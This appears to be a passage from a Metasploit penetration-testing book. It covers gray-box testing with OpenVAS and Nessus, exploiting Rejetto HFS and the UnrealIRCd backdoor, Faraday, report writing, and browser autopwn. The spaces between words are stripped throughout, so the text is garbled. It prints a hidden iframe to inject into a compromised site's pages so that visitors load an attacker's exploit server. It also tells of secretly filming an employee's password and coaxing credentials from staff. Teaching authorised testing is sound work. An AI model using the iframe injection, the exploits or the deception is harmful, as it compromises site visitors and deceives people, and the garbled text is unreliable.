Wehavecoveredalotinthepastfewchapters.Itisnowtimetotestallthemethodologiesthatwehavecoveredthroughoutthisbook,alongwithvariousotherpopulartestingtools,andseehowwecaneasilyperformpenetrationtestingandvulnerabilityassessmentsoverthetargetnetwork,website,orotherservicesusingindustryleadingtoolswithinMetasploit.

Duringthecourseofthischapter,wewilllookatvariousmethodsfortestingandcoverthefollowingtopics:

UsingMetasploitalongwiththeindustry'svariousotherpenetrationtestingtoolsImportingthereportsgeneratedfromvarioustoolsanddifferentformatsintotheMetasploitframeworkGeneratingpenetrationtestreports

TheprimaryfocusofthischapteristocoverpenetrationtestingwithotherindustryleadingtoolsalongsideMetasploit.However,thephasesofatestmaydifferwhileperformingweb-basedtestingandothertestingtechniques,buttheprinciplesremainthesame.

PerformingapenetrationtestwithintegratedMetasploitservicesWecanperformapenetrationtestusingthreedifferentapproaches.Theseapproachesarewhite,black,andgrayboxtestingtechniques.Whiteboxtestingisatestingprocedurewherethetesterhascompleteknowledgeofthesystemandtheclientiswillingtoprovidecredentials,sourcecodes,andothernecessaryinformationabouttheenvironment.Blackboxtestingisaprocedurewhereatesterhasalmostzeroknowledgeofthetarget.Grayboxtestingtechniqueisacombinationofwhiteandblackboxtechniques,wherethetesterhasonlyalittleorpartialinformationontheenvironmentundertest.Wewillperformagrayboxtestintheupcomingsectionsofthischapterasitcombinesthebestfromboththetechniques.Agrayboxtestmayormaynotincludeoperatingsystem(OS)details,webapplicationsdeployed,thetypeandversionofserversrunning,andeveryothertechnologicaldetailrequiredtocompletethepenetrationtest.Thepartialinformationinthegrayboxtestwillrequirethetestertoperformadditionalscansthatwouldbelesstimeconsumingthantheblackboxtestsandmuchmoretimeconsumingthanthewhiteboxtests.

ConsiderascenariowhereweknowthatthetargetserversarerunningonWindowsOSes.However,wedonotknowwhichversionofWindowsisrunning.Inthiscase,wewilleliminatethefingerprintingtechniquesforLinuxandUNIXsystemsandfocusprimarilyonWindowsOSes,thus,savingtimebyconsideringasingleflavorofOSratherthanscanningforeverykind.

Thefollowingarethephasesthatweneedtocoverwhileperformingpenetrationtestingusingthegrayboxtestingtechnique:

Theprecedingdiagramclearlyillustratesthevariousphasesthatweneedtocoverwhileperformingapenetrationtestinagrayboxanalysis.Asyoucanseeinthediagram,thephasesmarkedwithdashedlinesdefinethephasesthatmayormaynotberequired.Theoneswithdoublelinesspecifycriticalphasesandthelastones(withasinglecontinuousline)describethestandardphasesthataretobefollowedwhileconductingthetest.Letusnowbeginthepenetrationtestingandanalyzethevariousaspectsofwhiteboxtesting.

Interactionwiththeemployeesandendusers

Interactionwiththeemployeesandendusersistheveryfirstphasetoconductafterwereachtheclient'ssite.ThisphaseincludesNotechHacking,whichcanalsobedescribedassocialengineering.Theideaistogainknowledgeaboutthetargetsystemsfromtheendusers'perspective.Thisphasealsoanswersthequestionwhetheranorganizationissecurefromtheleakofinformationthroughendusers.Thefollowingexampleshouldmakethethingsclearer.

Lastyear,ourteamwasworkingonawhiteboxtestandwevisitedtheclient'ssiteforon-siteinternaltesting.Assoonaswearrived,westartedtalkingtotheendusers,askingiftheyfaceanyproblemswhileusingthenewlyinstalledsystems.Unexpectedly,noclientinthecompanyallowedustotouchtheirsystems,buttheysoonexplainedthattheywerehavingproblemsloggingin,sinceitisnotacceptingover10connectionspersession.

Wewereamazedbythesecuritypolicyofthecompany,whichdidnotallowustoaccessanyoftheirclientsystems,butthen,oneofmyteammatessawanoldpersonwhowasaround55-60yearsofagestrugglingwithhisInternetintheaccountssection.Weaskedhimifherequiredanyhelpandhequicklyagreedthatyeshedid.Wetoldhimthathecanuseourlaptopbyconnectingthelocalareanetwork(LAN)cabletoitandcancompletehispendingtransactions.HepluggedtheLANcableintoourlaptopandstartedhiswork.Mycolleaguewhowasstandingrightbehindhisbackswitchedonhispencameraandquicklyrecordedallhistypingactivities,suchashiscredentialsthatheusedtologinintotheinternalnetwork.

Wefoundanotherwomanwhowasstrugglingwithhersystemandtoldusthatsheisexperiencingproblemsloggingin.Weassuredthewomanthatwewouldresolvetheissueasheraccountneededtoberenewedfromthebackend.Weaskedherusername,password,andtheIPaddressoftheloginmechanism.Sheagreedandpassedusthecredentials.Thisconcludesourexample;suchemployeescanaccidentallyrevealtheircredentialsiftheyrunintosomeproblems,nomatterhowsecuretheseenvironmentsare.Welaterreportedthisissuetothecompanyasapartofthereport.

Othertypesofinformationthatwillbemeaningfulfromtheendusersincludethefollowing:

thefollowing:

TechnologiestheyareworkinguponPlatformandOSdetailsoftheserverHiddenloginIPaddressesormanagementareaaddressSystemconfigurationandOSdetailsTechnologiesbehindthewebserver

Thisinformationisrequiredandwillbehelpfulforidentifyingcriticalareasfortestingwithpriorknowledgeofthetechnologiesusedinthetestablesystems.

However,thisphasemayormaynotbeincludedwhileperformingagrayboxpenetrationtest.Itissimilartoacompanyaskingyoutoperformthetestingfromyourcompany'slocationitselfifthecompanyisdistant,maybeeveninadifferentnation.Inthesecases,wewilleliminatethisphaseandaskthecompany'sadminorotherofficialsaboutthevarioustechnologiesthattheyareworkinguponandotherrelatedinformation.

Gatheringintelligence

Afterspeakingwiththeendusers,weneedtodivedeepintothenetworkconfigurationsandlearnaboutthetargetnetwork.However,thereisagreatprobabilitythattheinformationgatheredfromtheendusermaynotbecompleteandismorelikelytobewrong.Itisthedutyofthepenetrationtestertoconfirmeachdetailtwice,asfalsepositivesandfalsifyinginformationmaycauseproblemsduringthepenetrationtest.

Intelligencegatheringinvolvescapturingenoughin-depthdetailsaboutthetargetnetwork,thetechnologiesused,theversionsofrunningservices,andsoon.

Gatheringintelligencecanbeperformedusinginformationgatheredfromtheendusers,administrators,andnetworkengineers.Inthecaseofremotetestingoriftheinformationgainedispartiallyincomplete,wecanusevariousvulnerabilityscanners,suchasNessus,GFILanGuard,OpenVAS,andmanymore,tofindoutanymissinginformationsuchasOS,services,andTCPandUDPports.

Inthenextsection,wewillstrategizeourneedforgatheringintelligenceusingindustryleadingtoolssuchasNessusandOpenVAS,butbeforeproceeding,let'sconsiderthefollowingsettingfortheenvironmentundertestusingpartialinformationgatheredfromaclientsitevisit,preinteractionsandquestionnaires.

Exampleenvironmentundertest

Basedupontheinformationwegatheredusingquestionnaires,interactions,andtheclientsitevisit,weconcludethefollowingexampleenvironmentundertest:

WeareprovidedwithVPNaccessandaskedtoperformapenetrationtestofthenetwork.WearealsotoldabouttheprimaryserverrunningonWindowsServer2012R2operatingsystemonIPaddress192.168.10.104.

WeareassumingthatwehaveconcludedourNMAPscansbasedontheknowledgeweacquiredinthefirstchapter.Letusconductafull-fledgedpenetrationtestusingMetasploitandotherindustryleadingtools.ThefirsttoolwewilluseisOpenVAS.OpenVASisavulnerabilityscannerandisoneofthemostadvancedvulnerabilitymanagertools.ThebestthingaboutOpenVASisthatitiscompletelyfreeofcost.Thismakesitafavorablechoiceforsmall-scalecompaniesandindividuals.However,OpenVAScansometimesbebuggyandyoumayrequiresomeefforttomanuallyfixthebugs,butsinceitisagemofatoolforthecommunity,OpenVASwillalwaysremainmyfavoritevulnerabilityscanner.

Note

ToinstallOpenVASonKaliLinux,refertohttps://www.kali.org/penetration-testing/openvas-vulnerability-scanning/.

VulnerabilityscanningwithOpenVASusingMetasploit

InordertointegratetheusageofOpenVASwithinMetasploit,weneedtoloadtheOpenVASpluginasfollows:

WecanalsoseethatthereareplentyofothermodulesforpopulartoolssuchasSQLMAP,Nexpose,andNessus.

InordertoloadtheOpenVASextensionintoMetasploit,weneedtoissuetheloadopenvascommandfromtheMetasploitconsole.

WecanseeinthepreviousscreenshotthattheOpenVASpluginwassuccessfullyloadedintotheMetasploitframework.

InordertousethefunctionalityofOpenVASinMetasploit,weneedtoconnecttheOpenVASMetasploitpluginwithOpenVASitself.Wecanaccomplishthisbyusingtheopenvas_connectcommandfollowedbyusercredentials,serveraddress,portnumber,andtheSSLstatus,asshowninthefollowingscreenshot:

Beforewestart,letusdiscussworkspaces,whichareagreatwayofmanagingapenetrationtest,especiallywhenyouareworkinginacompanythatspecializesinpenetrationtestingandvulnerabilityassessments.Wecanmanagedifferentprojectseasilybyswitchingandcreatingdifferentworkspacesfordifferentprojects.Usingworkspaceswillalsoensurethatthetestresultsarenotmixedupwithotherprojects.Hence,itishighlyrecommendedtouseworkspaceswhilecarryingoutpenetrationtests.

Creatingandswitchingtoanewworkspaceisveryeasy,asshowninthefollowingscreenshot:

Intheprecedingscreenshot,weaddedanewworkspacecalledNetScanandswitchedontoitbysimplytypingworkspacefollowedbyNetScan(thenameof

theworkspace).

Inordertostartavulnerabilityscan,thefirstthingweneedtocreateisatarget.Wecancreateasmanytargetswewantusingtheopenvas_target_createcommand,asshowninthefollowingscreenshot:

WecanseewecreatedatargetfortheIPaddress192.168.10.104withthenameofouterandcommenteditasOuter-Interfacejustforthesakeofrememberingiteasily.Additionally,itisgoodtotakeanoteofthetarget'sID.

Movingon,weneedtodefineapolicyforthetargetundertest.Wecanlistthesamplepoliciesbyissuingopenvas_config_listcommandasfollows:

Forthesakeoflearning,wewillonlyuseFullandfastpolicy.MakeanoteofthepolicyID,whichinthiscaseis2.

NowthatwehavethetargetIDandthepolicyID,wecanmovefurthertocreateavulnerabilityscanningtaskusingtheopenvas_task_createcommandshowninthefollowingscreenshot:

Wecanseethatwecreatedanewtaskwiththeopenvas_task_createcommandfollowedbythe2(policyID),and1(targetID)comments,respectively.Havingcreatedthetask,wearenowreadytolaunchthescanasshowninthefollowingscreenshot:

Intheprecedingscreenshot,wecanseethatweinitializedthescanusingtheopenvas_task_startcommandfollowedbythetaskID.Wecanalwayskeepa

checkontheprogressofthetaskusingopenvas_task_listcommand,asshowninthefollowingscreenshot:

Keepingacheckontheprogress,assoonasataskfinishes,wecanlistthereportforthescanusingtheopenvas_report_listcommand,asdetailedinthefollowingscreenshot:

Wecandownloadthisreportandimportitdirectlyintothedatabaseusingtheopenvas_report_importcommandfollowedbythereportIDandtheformatIDasfollows:

TheformatIDcanbefoundusingtheopenvas_format_listcommand,asshowninthefollowingscreenshot:

Onthesuccessfulimport,wecanchecktheMSFdatabaseforvulnerabilitiesusingthevulnscommand,asshowninthefollowingscreenshot:

Wecanseethatwehaveallthevulnerabilitiesinthedatabase.Wecancross-verifythenumberofvulnerabilitiesandfigureoutin-depthdetailsbylogginginGreenboneassistantthroughthebrowseravailableonport9392asshowninthefollowingscreenshot:

Wecanseethatwehavemultiplevulnerabilitieswithahighimpact.Itisnowagoodtimetojumpintothreatmodelingandtargetonlyspecificvulnerabilities.

Modelingthethreatareas

Modelingthethreatareasisanimportantconcernwhilecarryingoutapenetrationtest.Thisphasefocusesonthekeyareasofthenetworkthatarecriticalandneedtobesecuredfrombreaches.Theimpactofthevulnerabilityinanetworkorasystemisdependentuponthethreatarea.Wemayfindanumberofvulnerabilitiesinasystemoranetwork.Nevertheless,thosevulnerabilitiesthatcancauseanytypeofimpactonthecriticalareasareofaprimaryconcern.Thisphasefocusesonthefiltrationofthosevulnerabilitiesthatcancausethehighestimpactonanasset.Modelingthethreatareaswillhelpustotargettherightsetofvulnerabilities.However,thisphasecanbeskippedattheclient'srequest.

Impactanalysisandmarkingofvulnerabilitieswiththehighestimpactfactoronthetargetisalsonecessary.Additionally,thisphaseisalsoimportantwhenthenetworkunderthescopeislargeandonlykeyareasaretobetested.

FromtheOpenVASresults,wecanseewehavetheMS15-034vulnerability,butexploitingitcancauseaBlueScreenofDeath(BSOD).DOStestsshouldbeavoidedinmostproduction-basedpenetrationtestengagementsandshouldonlybeconsideredinatestenvironmentwithpriorpermissionfromtheclient.Hence,weareskippingitandaremovingtoareliablevulnerability,whichistheHTTPFileServerRemoteCommandExecutionVulnerability.BrowsingthroughthedetailsofthevulnerabilityintheOpenVASwebinterface,wecanfindthatthevulnerabilitycorrespondstoCVE2014-6287,which,onsearchinginMetasploit,correspondstotheexploit/windows/http/rejetto_hfs_execmodule,asshowninthefollowingscreenshot:

Gainingaccesstothetarget

Letusexploitthevulnerabilityandgaincompleteaccesstothetargetasfollows:

Bang!Wemadeitintothesystem.Letusfindanyothersysteminthevicinity,asweknowthatthereisonemoresystem.However,wedonotknowwhatIPaddressisitrunningon.

OnewaytofigureoutothersystemsinsuchcasesistolookfortheARPhistory.Wecandothisbyissuinganarpcommandinthemeterpreterconsoleasfollows:

Wecanseefromissuingthearpcommandthatweonlyhaveonemoresystem,whichisrunningonIPaddress192.168.10.108.WecouldhavedonethiswithasimpleNmapscanaswell,butinordertoexploremoretechniquesthemethodforfindingarpentriesisequallyimportant.Consideracaseofaninternalnetworkwhereyoudonothaveaccesstotheinternalsystemsandyoudon'tknowwhichIPclassisbeingusedinternallyeither.Inthosecases,arprevealsalotofinformation.

OpenVASworkedquitewellwithMetasploit.LetusnowtryperformingvulnerabilityscanningwithNessusonthenewlyfoundsysteminthenextsection.

Note

ToinstallNessusonKaliLinux,referto

http://www.hackandtinker.net/2013/10/16/how-to-install-setup-and-use-nessus-on-kali/.

VulnerabilityscanningwithNessus

Nessusispaidtoolandcomesfromtenable.Nessusisconsideredoneofthebestinthecorporateindustrywhenitcomestovulnerabilityscanning.Nessuscannotonlyperformvulnerabilityscansbutcanalsoperformcompliancechecks,PCIDSScheckandsupportover100+compliancesforvariousarchitectures.Theinterfaceisneatandveryfriendlytouse.NessusisalsoquitestablecomparedtoOpenVASandothervulnerabilityscanningtools.Additionally,licensingismarginalcomparedtoitscounterparts.So,itisarecommendedtoolformostorganizations.

LetusloadtheNessusplugininMetasploitasfollows:

WecanseeweloadedNessusexactlythewayweloadedOpenVASi.e.usingloadcommand.ThenextstepistoconnectittothelocalNessusserverusingthenessus_connectcommandfollowedbytheusercredentialsandtheserver'sIP/portasshownintheprecedingscreenshot.Usingthenessus_policy_listcommand,wecanlistallthepoliciescurrentlyconfiguredinNessus.WecanseewehaveapolicynamedBasic.LetuskeepanoteofitsUUID,asitwillberequiredincreatingthescantask.Letuscreateanewtaskasfollows:

Weusedthenessus_scan_newcommandfollowedbythepolicy'sUUID,thenameofthetask,thedescription,andtheIPaddress,asshownintheprecedingscreenshot.Wecanseethetaskbeinggeneratedsuccessfully,anditwasassigned50astheScanID.Thenextstepistolaunchthetaskusingnessus_scan_launch,asshowninthefollowingscreenshot:

Wecanalwayskeepacheckonthecompletionusingthenessus_scan_detailscommandbypassingScanIDandinfoastheparameter.

Assoonasataskcompletes,wecanissuethenessus_report_hostscommandtogetanoverviewofthedetailsfoundduringthescanasfollows:

Wecanseethatwefound10critical,4high,17medium,and5lowimpactvulnerabilitiesduringthescan.Letusseethenumberofvulnerabilitytypesfoundduringthescanwiththenessus_report_vulnscommandasfollows:

ToimportallthefindingsfromNessusintotheMetasploitdatabase,weneedtoissuenessus_db_importcommandfollowedbytheScanIDasshowninthefollowingscreenshot:

Tip

TheimportwillmergeresultswithOpenVASimportunlessanewworkspaceiscreatedandused.

Let'sissuethehostsandvulnscommandsinMetasploittocheckiftheimportwassuccessful,asshowninthefollowingscreenshot:

WecanseetheMetasploitdatabasepopulatedwithdatafromtheNessusscan.Letustryfindingalltheservicesthatarerunningonthetargetbyusingtheservicescommand,asfollows:

Wecanseeplentyofservicesrunningonthetargetsystem.Let'sfindanexploitableservicethatmaynotcausehighimpactontheavailabilityofthesystem,asfollows:

Fromtheresultofthevulnscommand,wehaveCVE2010-2075,thatis,theUnrealIRCD3.2.8.1backdoorcommandexecutionvulnerability,inthesystem.Wecanseethatinordertoexploitthisvulnerability,wearegoingtousetheexploit/unix/irc/unreal_ircd_3281_backdoormodulefromMetasploit.Aswecanseefromtheresultsoftheshowpayloadscommand,wedonothaveameterpreterpayloadforthismodule.Therefore,letususeabindshellpayloadasfollows:

Thecmd/unix/bind_perlpayloadwillprovideshellaccesstothetarget,whichcanthenbeusedtogainmeterpreteraccess,byuploadingaseparateexecutablepayloadusingwgetandexecuteit,spawninganewfullyfeaturedshellonaseparateexploithandler.

Letusexploitthesystemasfollows:

Wecanseethatwearegrantedshellaccesstothetarget.However,itisadvisabletotestforallthevulnerabilities,whichmaynotaffecttheproductionsystemandcausefailuretotheavailabilitymatrixofthetarget.Additionally,ifworkinginatestenvironment,itisrecommendedtotestallthevulnerabilities.

Maintainingaccessandcoveringtracks

Carryingoutaprofessionalgrayboxtestonanorganisation,wemaynotneedtomaintainaccesstothetargetorworryaboutloggenerationeither.However,forthesakeoflearning,wehaveacompleteupcomingchapteronpostexploitationinthelatterhalfofthebook,wherewewillcoverthestrategiesusedforoffensivesecuritytesting.

ManagingapenetrationtestwithFaraday

FaradayisanopensourceCollaborativePenetrationTestandVulnerabilityManagementplatform.Withareal-timedashboardandmorethan50supportedtools,Faradayallowsseamlessintegrationwithyoursecurityworkflow,allowingCISOsandpenetrationtesterstoseetheimpactandrisksuncoveredfromtheassessmentsinrealtime.Faradayalsoallowsmultipleuserstoworksimultaneouslyonthesameproject.IpersonallyrecommendtheFaradayprojecttoeveryone.

Note

ToinstallFaradayonKaliLinux,refertohttps://github.com/infobyte/faraday/wiki.

TheFaradaytoolhasanbuilt-inshellthatcanbeuseddirectlytoperformpenetrationtests.ThebeautyoftheprojectisthatitgathersandalignsalloutputfromvarioustestingtoolsthataremadetorundirectlyfromtheFaradayshell.Moreover,itisquiteeasytoimportexistingreportsfrompopulartoolsintotheFaradayproject.Let'sexporttheresultsfromthetestweconcludedbyissuingthedb_exportcommandasfollows:

Wecanseethatwehaveexportedtheresultsfromthedatabasewithanease.LetuslaunchFaradayandimporttheXMLreportasfollows:

WecanseethatjustbycopyingtheXMLfiletotheworkspacedirectoryinroot/.faraday/report/pentest,itwillpopulatedatafromthereportintotheFaradaytool.

Besidesthemanualcopyingmethod,FaradayalsoprovidestheMetasploitonlinepluginthatfetchesresultsdirectlyfromtheMetasploitdatabase:

Tovisualizeresults,wecanclickonthebargraphiconfromthemenubar.

Tip

Thepentestdirectoryin/root/.faraday/reportreferstothenameoftheworkspaceusedinFaraday.

Clickingthebargraphwilltakeustotheworkspacedashboard,asshowninthefollowingscreenshot:

Wecannowlistallthevulnerabilities,generateexecutivereports,changetheseveritylevelofvulnerabilities,addadescriptiontothevulnerability,andperformvariousotheroperations.

Tip

RefertoFaradaydemonstrationsathttps://github.com/infobyte/faraday/wiki/Demos.

FaradayalsooffersaGTKinterface,whichdeliversabetter-lookingGUIinterfacethanthedepreciatingQTinterface.FormoreonGTKinterface,refertohttps://github.com/infobyte/faraday/wiki/Usage#gtk-gui.

FormoreonusingMetasploitwithFaraday,refertohttps://github.com/infobyte/faraday/wiki/Metasploit.

Generatingmanualreports

Letusnowdiscusshowtocreateapenetrationtestreportandseewhatistobeincluded,whereitshouldbeincluded,whatshouldbeadded/removed,howtoformatthereport,theusageofgraphs,andsoon.Manypeople,suchasmanagers,administrators,andtopexecutives,willreadthereportofapenetrationtest.Therefore,it'snecessaryforthefindingstobewellorganizedsothatthecorrectmessageisconveyedtothepeopleandisunderstoodbythetargetaudience.

Theformatofthereport

Agoodpenetrationtestreportcanbebrokendowninthefollowingformat:

PagedesignDocumentcontrol:

CoverpageDocumentproperties

Listofthereportcontent:TableofcontentListofillustrations

Executive/High-levelsummary:ScopeofthepenetrationtestSeverityinformationObjectivesAssumptionsSummaryofvulnerabilitiesVulnerabilitydistributionchartSummaryofrecommendations

Methodology/Technicalreport:TestdetailsListofvulnerabilitiesLikelihoodRecommendations

ReferencesGlossaryAppendix

Hereisabriefdescriptionofsomeoftheimportantsections:

Hereisabriefdescriptionofsomeoftheimportantsections:

Pagedesign:Pagedesignreferstoselectingfonts,headersandfooters,colorstobeusedinthereportandsoonDocumentcontrol:GeneralpropertiesaboutareportarecoveredhereCoverpage:Thisconsistsofthenameofthereport,version,timeanddate,targetorganization,serialnumber,andsoonDocumentproperties:Thiscontainsthetitleofthereport,thenameofthetester,andthenameofthepersonwhoreviewedthisreportListofthereportcontent:ThiscontainsthecontentofthereportwithclearlydefinedpagenumbersassociatedwiththemTableofcontent:ThiscontainsalistofallthecontentorganizedfromthestarttotheendofthereportListofillustrations:Allthefiguresusedinthereportaretobelistedinthissectionwiththeappropriatepagenumbers

Theexecutivesummary

Theexecutivesummaryincludestheentiresummarizationofthereportinnormalandnon-technicalterms,andfocusesonprovidingknowledgetothesenioremployeesofthecompany.Itcontainsthefollowinginformation:

Thescopeofthepenetrationtest:Thissectionincludesthetypesoftestperformedandthesystemsthatweretested.Generally,alltheIPrangesthatweretestedarelistedinthissection.Moreover,thissectioncontainsseverityinformationaboutthetestaswell.Objectives:Thissectiondefineshowthetestwillbeabletohelpthetargetorganization,whatthebenefitsofthetestwillbe,andsoon.Assumptionsmade:Ifanyassumptionsweremadeduringthetest,theyaretobelistedhere.SupposeaXSSvulnerabilityisfoundintheadminpanelwhiletestingawebsite,buttoexecuteit,weneedtobeloggedinwithadministratorprivileges.Inthiscase,theassumptiontobemadeisthatwerequireadminprivilegesfortheattack.Summaryofvulnerabilities:Thisprovidesinformationinatabularformanddescribesthenumberofvulnerabilitiesfoundaccordingtotheirrisklevel,whicharehigh,medium,andlow.Theyareorderedbasedontheimpact,fromvulnerabilitiescausingthehighestimpacttotheassetstotheoneswithlowestimpact.Additionally,thisphasecontainsavulnerabilitydistributionchartformultipleissueswithmultiplesystems.Anexampleofthiscanbeseeninthefollowingtable:

Summaryofrecommendations:Therecommendationstobemadeinthissectionareonlyforthevulnerabilitieswiththehighestimpactfactorandtheyaretobelistedaccordingly

Methodology/networkadminlevelreport

Thissectionofthereportincludesthestepstobeperformedduringthepenetrationtest,in-depthdetailsaboutthevulnerabilities,andrecommendations.Generally,thefollowinginformationisthesectionofinterestforadministrators:

Testdetails:Thissectionofthereportincludesinformationrelatedtothesummarizationofthetestintheformofgraphs,charts,andtablesforvulnerabilities,riskfactors,andthesystemsinfectedwiththesevulnerabilities.Listofvulnerabilities:Thissectionofthereportincludesthedetails,locations,andtheprimarycausesofthevulnerabilities.Likelihood:Thissectionexplainsthelikelihoodofthesevulnerabilitiesbeingtargetedbytheattackers.Thisisdonebyanalyzingtheeaseofaccessintriggeringaparticularvulnerabilityandbyfindingouttheeasiestandthemostdifficulttestagainstthevulnerabilitiesthatcanbetargeted.Recommendations:Recommendationsforpatchingthevulnerabilitiesaretobelistedinthissection.Ifapenetrationtestdoesnotrecommendpatches,itisonlyconsideredashalffinished.

AdditionalsectionsReferences:Allthereferencestakenwhilethereportismadearetobelistedhere.Referencessuchasabook,website,article,andsoonaretobelistedclearlywiththeauthor,publicationname,yearofpublication,ordateofarticlepublished,andsoon.Glossary:Allthetechnicaltermsusedinthereportaretobelistedherewiththeirmeaning.Appendix:Thissectionisgenerallyagoodplacetoaddmiscellaneousscripts,codes,andimages.

SummaryInthischapter,wehaveseenthathowwecanefficientlyperformgrayboxtestingonthetargetunderthescope.WealsosawhowleadingindustrytoolscanbeuseddirectlyfromtheMetasploitconsoleandhowMetasploitservesasasinglepointoftestingforacompletepenetrationtest.WealsolearnedhowwecouldgeneratereportsandmanagetheentirepenetrationtestfromFaradayproject.

Inthenextchapter,wewillseehowwecanconductclient-sideattackswithMetasploitandgainaccesstoimpenetrabletargetswithsocialengineeringandpayloaddelivery.

Chapter7.Client-sideExploitation"Iamgoodatreadingpeople.Mysecret,Ilookforworstinthem"-Mr.Robot

Wecoveredcodingandperformedpenetrationtestsonnumerousenvironmentsintheearlierchapters;wearenowreadytointroduceclient-sideexploitation.Throughoutthisandacoupleofmorechapters,wewilllearnaboutclient-sideexploitationindetail.

Throughoutthischapter,wewillfocusonthefollowingtopics:

Attackingthetarget'sbrowserSophisticatedattackvectorstotricktheclientAttackingLinuxwithmaliciouspackagesAttackingAndroidandLinuxfilesystemsUsingArduinoforexploitationInjectingpayloadsintovariousfiles

Client-sideexploitationsometimesrequirethevictimtointeractwiththemaliciousfiles,whichmakesitssuccessdependableontheinteraction.ThesecouldbeinteractionssuchasvisitingamaliciousURLordownloadingandexecutingafile.Thismeansweneedthehelpofthevictimstoexploittheirsystemssuccessfully.Therefore,thedependencyonthevictimisacriticalfactorintheclient-sideexploitation.

Client-sidesystemsmayrundifferentapplications.ApplicationssuchasaPDFreader,awordprocessor,amediaplayer,andwebbrowsersarethebasicsoftwarecomponentsofaclient'ssystem.Inthischapter,wewilldiscoverthevariousflawsintheseapplications,whichcanleadtothecompromiseoftheentiresystemandallowustousetheexploitedsystemasalaunchpadtotesttheentireinternalnetwork.

Let'sgetstartedwithexploitingtheclientthroughnumeroustechniquesandanalyzethefactorsthatcancausesuccessorfailurewhileexploitingaclient-sidebug.

ExploitingbrowsersforfunandprofitWebbrowsersareusedprimarilyforsurfingtheWeb.However,anoutdatedwebbrowsercanleadtothecompromiseoftheentiresystem.Clientsmayneverusethepreinstalledwebbrowserandchoosetheonebasedontheirpreference.However,thedefaultpreinstalledwebbrowsercanstillleadtovariousattacksonthesystem.Exploitingabrowserbyfindingvulnerabilitiesinthebrowsercomponentsisknownasbrowser-basedexploitation.

Note

FormoreinformationonFirefoxvulnerabilities,refertohttp://www.cvedetails.com/product/3264/Mozilla-Firefox.html?vendor_id=452.

RefertoInternetExplorervulnerabilitiesathttp://www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26.

Thebrowserautopwnattack

Metasploitoffersbrowserautopwn,anautomatedattackmodulethattestsvariousbrowsersinordertofindvulnerabilitiesandexploitthem.Tounderstandtheinnerworkingsofthismodule,let'sdiscussthetechnologybehindtheattack.

Thetechnologybehindabrowserautopwnattack

Autopwnreferstotheautomaticexploitationofthetarget.Theautopwnmodulesetsupmostofthebrowser-basedexploitsinlisteningmodebyautomaticallyconfiguringthemoneaftertheother.Then,itwaitsforanincomingconnectionandlaunchesasetofmatchingexploits,dependinguponthevictim'sbrowser.Therefore,irrespectiveofthebrowseravictimisusing,iftherearevulnerabilitiesinthebrowser,theautopwnscriptattacksitautomaticallywiththematchingexploitmodules.

Let'sunderstandtheworkingsofthisattackvectorindetailusingthefollowingdiagram:

Intheprecedingscenario,anexploitserverbaseisupandrunningwithanumberofbrowser-basedexploitswiththeircorrespondinghandlers.Assoonasthevictim'sbrowserconnectstotheexploitserver,theexploitserverbasechecksforthetypeofbrowserandtestsitagainstthematchingexploits.Intheprecedingdiagram,wehaveInternetExplorerasthevictim'sbrowser.Therefore,exploitsmatchingInternetExplorerlaunchatthevictim'sbrowser.Successfulexploitsmakeaconnectionbacktothehandlerandtheattackergainsshellormeterpreteraccesstothetarget.

AttackingbrowserswithMetasploitbrowserautopwn

Toconductbrowserexploitationattack,wewillusethebrowser_autopwnmoduleinMetasploitasshowninthefollowingscreenshot:

Wecanseeweloadedthebrowserautopwnmoduleresidingatauxiliary/server/browser_autpownsuccessfullyinMetasploit.Inordertolaunchtheattack,weneedtospecifyLHOST,URIPATH,andSRVPORT.SRVPORTistheportonwhichourexploitserverbasewillrun.Itisrecommendedtouseport80or443sincetheadditionofportnumberstotheURLcatchesmanyeyesandlookphishy.URIPATHisthedirectorypathforthevariousexploitsandshouldbekeptintherootdirectorybyspecifyingURIPATHas/.Let'ssetalltherequiredparametersandlaunchthemoduleasshowninthefollowingscreenshot:

Launchingthebrowserautopwnmodulewillsetupbrowserexploitsinlisteningmodewaitingfortheincomingconnectionsasshowninthefollowingscreenshot:

Anytargetconnectingonport80ofoursystemwillgetanarsenalofexploitsthrownatitbasedonhisbrowser.Let'sanalyzehowavictimconnectstoour

maliciousexploitserver:

WecanseethatassoonasavictimconnectstoourIPaddress,thebrowserautopwnmodulerespondswithvariousexploitsuntilitgainsmeterpreteraccess,asshowninthefollowingscreenshot:

Aswecansee,thebrowserautopwnmoduleallowsustotestandactivelyexploitthevictim'sbrowserfornumerousvulnerabilities.However,client-sideexploitsmaycauseserviceinterruptions.Itisagoodideatoacquireapriorpermissionbeforeconductingaclient-sideexploitationtest.Intheupcomingsection,wewillseehowamodulesuchasabrowserautopwncanbedeadlyagainstnumeroustargets.

Compromisingtheclientsofawebsite

Inthissection,wewilltrytodevelopapproachesusingwhichwecanconvertcommonattacksintoadeadlyweaponofchoice.

Asdemonstratedintheprevioussection,sendinganIPaddresstothetargetcanbecatchyandavictimmayregretbrowsingtheIPaddressyousent.However,ifadomainaddressissenttothevictiminsteadofabareIPaddress,thechancesofevadingthevictim'seyebecomesmoreprobableandtheresultsareguaranteed.

Injectingmaliciouswebscripts

Avulnerablewebsitecanserveasalaunchpadtothebrowserautopwnserver.AnattackercanembedahiddeniFrameintowebpagesofthevulnerableserversothatanyonevisitingtheserverwillfaceoffagainstthebrowserautopwnattack.Hence,wheneverapersonvisitstheinjectedpage,thebrowserautopwnexploitserverteststheirbrowserforvulnerabilitiesand,inmostcases,exploitsitaswell.

MasshackingusersofasitecanbeachievedbyusingiFrameinjection.Let'sunderstandtheanatomyoftheattackinthenextsection.

Hackingtheusersofawebsite

Let'sunderstandhowwecanhackusersofawebsiteusingbrowserexploitsthroughthefollowingdiagram:

Theprecedingdiagrammakesthingsveryclear.Let'snowfindouthowtodoit.However,themostimportantrequirementforthisattackistheaccesstoavulnerableserverwithappropriatepermissions.Let'sunderstandmoreoninjectingthemaliciousscriptthroughthefollowingscreenshot:

WehaveanexamplewebsitewithawebapplicationvulnerabilitythatallowedustouploadaPHPbasedthird-partywebshell.Inordertoexecutetheattack,weneedtoaddthefollowinglinetotheindex.phppageoranyotherpageofourchoice:

<iframesrc="http://192.168.10.107:80/"width=0height=0

style="hidden"frameborder=0marginheight=0marginwidth=0

scrolling=no></iframe>

TheprecedinglineofcodewillloadthemaliciousbrowserautopwnintheiFramewheneveravictimvisitsthewebsite.Duetothiscodebeinginaniframetag,itwillincludethebrowserautopwnautomaticallyfromtheattacker'ssystem.Weneedtosavethisfileandallowthevisitorstoviewthewebsiteandbrowseit.

